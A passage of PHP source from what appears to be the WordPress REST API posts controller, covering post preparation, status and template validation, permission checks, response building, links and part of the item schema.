			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false;
			$date_data    = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		}

		/*
		 * Sending a null date or date_gmt value resets date and date_gmt to their
		 * default values (`0000-00-00 00:00:00`).
		 */
		if (
			( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) ||
			( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] )
		) {
			$prepared_post->post_date_gmt = null;
			$prepared_post->post_date     = null;
		}

		// Post slug.
		if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
			$prepared_post->post_name = $request['slug'];
		}

		// Author.
		if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$prepared_post->post_author = $post_author;
		}

		// Post password.
		if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
			$prepared_post->post_password = $request['password'];

			if ( '' !== $request['password'] ) {
				if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A post can not be sticky and have a password.' ),
						array( 'status' => 400 )
					);
				}

				if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A sticky post can not be password protected.' ),
						array( 'status' => 400 )
					);
				}
			}
		}

		if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
			if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
				return new WP_Error(
					'rest_invalid_field',
					__( 'A password protected post can not be set to sticky.' ),
					array( 'status' => 400 )
				);
			}
		}

		// Parent.
		if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
			if ( 0 === (int) $request['parent'] ) {
				$prepared_post->post_parent = 0;
			} else {
				$parent = get_post( (int) $request['parent'] );

				if ( empty( $parent ) ) {
					return new WP_Error(
						'rest_post_invalid_id',
						__( 'Invalid post parent ID.' ),
						array( 'status' => 400 )
					);
				}

				$prepared_post->post_parent = (int) $parent->ID;
			}
		}

		// Menu order.
		if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
			$prepared_post->menu_order = (int) $request['menu_order'];
		}

		// Comment status.
		if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
			$prepared_post->comment_status = $request['comment_status'];
		}

		// Ping status.
		if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
			$prepared_post->ping_status = $request['ping_status'];
		}

		if ( ! empty( $schema['properties']['template'] ) ) {
			// Force template to null so that it can be handled exclusively by the REST controller.
			$prepared_post->page_template = null;
		}

		/**
		 * Filters a post before it is inserted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_post`
		 *  - `rest_pre_insert_page`
		 *  - `rest_pre_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param stdClass        $prepared_post An object representing a single post prepared
		 *                                       for inserting or updating the database.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );
	}

	/**
	 * Checks whether the status is valid for the given post.
	 *
	 * Allows for sending an update request with the current status, even if that status would not be acceptable.
	 *
	 * @since 5.6.0
	 *
	 * @param string          $status  The provided status.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return true|WP_Error True if the status is valid, or WP_Error if not.
	 */
	public function check_status( $status, $request, $param ) {
		if ( $request['id'] ) {
			$post = $this->get_post( $request['id'] );

			if ( ! is_wp_error( $post ) && $post->post_status === $status ) {
				return true;
			}
		}

		$args = $request->get_attributes()['args'][ $param ];

		return rest_validate_value_from_schema( $status, $args, $param );
	}

	/**
	 * Determines validity and normalizes the given status parameter.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $post_status Post status.
	 * @param WP_Post_Type $post_type   Post type.
	 * @return string|WP_Error Post status or WP_Error if lacking the proper permission.
	 */
	protected function handle_status_param( $post_status, $post_type ) {

		switch ( $post_status ) {
			case 'draft':
			case 'pending':
				break;
			case 'private':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to create private posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			case 'publish':
			case 'future':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to publish posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			default:
				if ( ! get_post_status_object( $post_status ) ) {
					$post_status = 'draft';
				}
				break;
		}

		return $post_status;
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 4.7.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {

		$featured_media = (int) $featured_media;
		if ( $featured_media ) {
			$result = set_post_thumbnail( $post_id, $featured_media );
			if ( $result ) {
				return true;
			} else {
				return new WP_Error(
					'rest_invalid_featured_media',
					__( 'Invalid featured media ID.' ),
					array( 'status' => 400 )
				);
			}
		} else {
			return delete_post_thumbnail( $post_id );
		}
	}

	/**
	 * Checks whether the template is valid for the given post.
	 *
	 * @since 4.9.0
	 *
	 * @param string          $template Page template filename.
	 * @param WP_REST_Request $request  Request.
	 * @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported.
	 */
	public function check_template( $template, $request ) {

		if ( ! $template ) {
			return true;
		}

		if ( $request['id'] ) {
			$post             = get_post( $request['id'] );
			$current_template = get_page_template_slug( $request['id'] );
		} else {
			$post             = null;
			$current_template = '';
		}

		// Always allow for updating a post to the same template, even if that template is no longer supported.
		if ( $template === $current_template ) {
			return true;
		}

		// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
		$allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type );

		if ( isset( $allowed_templates[ $template ] ) ) {
			return true;
		}

		return new WP_Error(
			'rest_invalid_param',
			/* translators: 1: Parameter, 2: List of valid values. */
			sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) )
		);
	}

	/**
	 * Sets the template for a post.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Added the `$validate` parameter.
	 *
	 * @param string $template Page template filename.
	 * @param int    $post_id  Post ID.
	 * @param bool   $validate Whether to validate that the template selected is valid.
	 */
	public function handle_template( $template, $post_id, $validate = false ) {

		if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
			$template = '';
		}

		update_post_meta( $post_id, '_wp_page_template', $template );
	}

	/**
	 * Updates the post's terms from a REST request.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $post_id The post ID to update the terms form.
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
	 */
	protected function handle_terms( $post_id, $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return null;
	}

	/**
	 * Checks whether current user can assign all terms sent with the current request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return bool Whether the current user can assign the provided terms.
	 */
	protected function check_assign_terms_permission( $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			foreach ( (array) $request[ $base ] as $term_id ) {
				// Invalid terms will be rejected later.
				if ( ! get_term( $term_id, $taxonomy->name ) ) {
					continue;
				}

				if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Checks if a given post type can be viewed or managed.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post_Type|string $post_type Post type name or object.
	 * @return bool Whether the post type is allowed in REST.
	 */
	protected function check_is_post_type_allowed( $post_type ) {
		if ( ! is_object( $post_type ) ) {
			$post_type = get_post_type_object( $post_type );
		}

		if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );
		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		// Is the post readable?
		if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		$post_status_obj = get_post_status_object( $post->post_status );
		if ( $post_status_obj && $post_status_obj->public ) {
			return true;
		}

		// Can we read the parent if we're inheriting?
		if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
			if ( $parent ) {
				return $this->check_read_permission( $parent );
			}
		}

		/*
		 * If there isn't a parent, but the status is set to inherit, assume
		 * it's published (as per get_post_status()).
		 */
		if ( 'inherit' === $post->post_status ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be edited.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be edited.
	 */
	protected function check_update_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Checks if a post can be created.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be created.
	 */
	protected function check_create_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->create_posts );
	}

	/**
	 * Checks if a post can be deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be deleted.
	 */
	protected function check_delete_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'delete_post', $post->ID );
	}

	/**
	 * Prepares a single post output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			return apply_filters( "rest_prepare_{$this->post_type}", new WP_REST_Response( array() ), $post, $request );
		}

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every post.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			/*
			 * For drafts, `post_date_gmt` may not be set, indicating that the date
			 * of the draft should be updated each time it is saved (see #38883).
			 * In this case, shim the value based on the `post_date` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
				$post_date_gmt = get_gmt_from_date( $post->post_date );
			} else {
				$post_date_gmt = $post->post_date_gmt;
			}
			$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
		}

		if ( rest_is_field_included( 'guid', $fields ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			/*
			 * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments
			 * above). In this case, shim the value based on the `post_modified` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
				$post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
			} else {
				$post_modified_gmt = $post->post_modified_gmt;
			}
			$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
		}

		if ( rest_is_field_included( 'password', $fields ) ) {
			$data['password'] = $post->post_password;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $post->post_status;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $post->post_type;
		}

		if ( rest_is_field_included( 'link', $fields ) ) {
			$data['link'] = get_permalink( $post->ID );
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		$has_password_filter = false;

		if ( $this->can_access_password_content( $post, $request ) ) {
			$this->password_check_passed[ $post->ID ] = true;
			// Allow access to the post, permissions already checked before.
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );

			$has_password_filter = true;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $post->post_content;
		}
		if ( rest_is_field_included( 'content.rendered', $fields ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content );
		}
		if ( rest_is_field_included( 'content.protected', $fields ) ) {
			$data['content']['protected'] = (bool) $post->post_password;
		}
		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $post->post_content );
		}

		if ( rest_is_field_included( 'excerpt', $fields ) ) {
			if ( isset( $request['excerpt_length'] ) ) {
				$excerpt_length          = $request['excerpt_length'];
				$override_excerpt_length = static function () use ( $excerpt_length ) {
					return $excerpt_length;
				};

				add_filter(
					'excerpt_length',
					$override_excerpt_length,
					20
				);
			}

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'the_excerpt', $excerpt );

			$data['excerpt'] = array(
				'raw'       => $post->post_excerpt,
				'rendered'  => post_password_required( $post ) ? '' : $excerpt,
				'protected' => (bool) $post->post_password,
			);

			if ( isset( $override_excerpt_length ) ) {
				remove_filter(
					'excerpt_length',
					$override_excerpt_length,
					20
				);
			}
		}

		if ( $has_password_filter ) {
			// Reset filter.
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'featured_media', $fields ) ) {
			$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			$data['menu_order'] = (int) $post->menu_order;
		}

		if ( rest_is_field_included( 'comment_status', $fields ) ) {
			$data['comment_status'] = $post->comment_status;
		}

		if ( rest_is_field_included( 'ping_status', $fields ) ) {
			$data['ping_status'] = $post->ping_status;
		}

		if ( rest_is_field_included( 'sticky', $fields ) ) {
			$data['sticky'] = is_sticky( $post->ID );
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			$template = get_page_template_slug( $post->ID );
			if ( $template ) {
				$data['template'] = $template;
			} else {
				$data['template'] = '';
			}
		}

		if ( rest_is_field_included( 'format', $fields ) ) {
			$data['format'] = get_post_format( $post->ID );

			// Fill in blank post format.
			if ( empty( $data['format'] ) ) {
				$data['format'] = 'standard';
			}
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms         = get_the_terms( $post, $taxonomy->name );
				$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$permalink_template_requested = rest_is_field_included( 'permalink_template', $fields );
			$generated_slug_requested     = rest_is_field_included( 'generated_slug', $fields );

			if ( $permalink_template_requested || $generated_slug_requested ) {
				if ( ! function_exists( 'get_sample_permalink' ) ) {
					require_once ABSPATH . 'wp-admin/includes/post.php';
				}

				$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );

				if ( $permalink_template_requested ) {
					$data['permalink_template'] = $sample_permalink[0];
				}

				if ( $generated_slug_requested ) {
					$data['generated_slug'] = $sample_permalink[1];
				}
			}

			if ( rest_is_field_included( 'class_list', $fields ) ) {
				$data['class_list'] = get_post_class( array(), $post->ID );
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the post data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_post`
		 *  - `rest_prepare_page`
		 *  - `rest_prepare_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
	}

	/**
	 * Overwrites the default protected and private title format.
	 *
	 * By default, WordPress will show password protected or private posts with a title of
	 * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
	 * in a machine-readable format, we remove the prefix.
	 *
	 * @since 4.7.0
	 *
	 * @return string Title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_post( $post->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
			&& ! empty( $post->post_author ) ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $post->post_author ),
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
			$replies_url = rest_url( 'wp/v2/comments' );
			$replies_url = add_query_arg( 'post', $post->ID, $replies_url );

			$links['replies'] = array(
				'href'       => $replies_url,
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
			$revisions       = wp_get_latest_revision_id_and_total_count( $post->ID );
			$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base  = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID );

			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);

			if ( $revisions_count > 0 ) {
				$links['predecessor-version'] = array(
					'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
					'id'   => $revisions['latest_id'],
				);
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );

		if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
			$links['up'] = array(
				'href'       => rest_url( rest_get_route_for_post( $post->post_parent ) ),
				'embeddable' => true,
			);
		}

		// If we have a featured media, add that.
		$featured_media = get_post_thumbnail_id( $post->ID );
		if ( $featured_media ) {
			$image_url = rest_url( rest_get_route_for_post( $featured_media ) );

			$links['https://api.w.org/featuredmedia'] = array(
				'href'       => $image_url,
				'embeddable' => true,
			);
		}

		if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
			$attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) );
			$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );

			$links['https://api.w.org/attachment'] = array(
				'href' => $attachments_url,
			);
		}

		$taxonomies = get_object_taxonomies( $post->post_type );

		if ( ! empty( $taxonomies ) ) {
			$links['https://api.w.org/term'] = array();

			foreach ( $taxonomies as $tax ) {
				$taxonomy_route = rest_get_route_for_taxonomy_items( $tax );

				// Skip taxonomies that are not public.
				if ( empty( $taxonomy_route ) ) {
					continue;
				}
				$terms_url = add_query_arg(
					'post',
					$post->ID,
					rest_url( $taxonomy_route )
				);

				$links['https://api.w.org/term'][] = array(
					'href'       => $terms_url,
					'taxonomy'   => $tax,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Gets the link relations available for the post and current user.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {

		if ( 'edit' !== $request['context'] ) {
			return array();
		}

		$rels = array();

		$post_type = get_post_type_object( $post->post_type );

		if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		if ( 'post' === $post_type->name ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
				$rels[] = 'https://api.w.org/action-sticky';
			}
		}

		if ( post_type_supports( $post_type->name, 'author' ) ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
				$rels[] = 'https://api.w.org/action-assign-author';
			}
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base   = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
			$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;

			if ( current_user_can( $create_cap ) ) {
				$rels[] = 'https://api.w.org/action-create-' . $tax_base;
			}

			if ( current_user_can( $tax->cap->assign_terms ) ) {
				$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
			}
		}

		return $rels;
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'date'         => array(
					'description' => __( "The date the post was published, in the site's timezone." ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the post was published, as GMT.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'The globally unique identifier for the post.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'GUID for the post, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
						'rendered' => array(
							'description' => __( 'GUID for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the post.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'link'         => array(
					'description' => __( 'URL to the post.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'modified'     => array(
					'description' => __( "The date the post was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'modified_gmt' => array(
					'description' => __( 'The date the post was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the post unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'status'       => array(
					'description' => __( 'A named status for the post.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'validate_callback' => array( $this, 'check_status' ),
					),
				),
				'type'         => array(
					'description' => __( 'Type of post.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'password'     => array(
					'description' => __( 'A password to protect access to the content and excerpt.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
			),
		);

		$post_type_obj = get_post_type_object( $this->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$schema['properties']['permalink_template'] = array(
				'description' => __( 'Permalink template for the post.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['generated_slug'] = array(
				'description' => __( 'Slug automatically generated from the post title.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['class_list'] = array(
				'description' => __( 'An array of the class names for the post container element.' ),
				'type'        => 'array',
				'context'     => array( 'view', 'edit' ),
				'readonly'    => true,
				'items'       => array(
					'type' => 'string',
				),
			);
		}

		if ( $post_type_obj->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The ID for the parent of the post.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$post_type_attributes = array(
			'title',
			'editor',
			'author',
			'excerpt',
			'thumbnail',
			'comments',
			'revisions',
			'page-attributes',
			'post-formats',
			'custom-fields',
		);
		$fixed_schemas        = array(
			'post'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'post-formats',
				'custom-fields',
			),
			'page'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'page-attributes',
				'custom-fields',
			),
			'attachment' => array(
				'title',
				'author',
				'comments',
				'revisions',
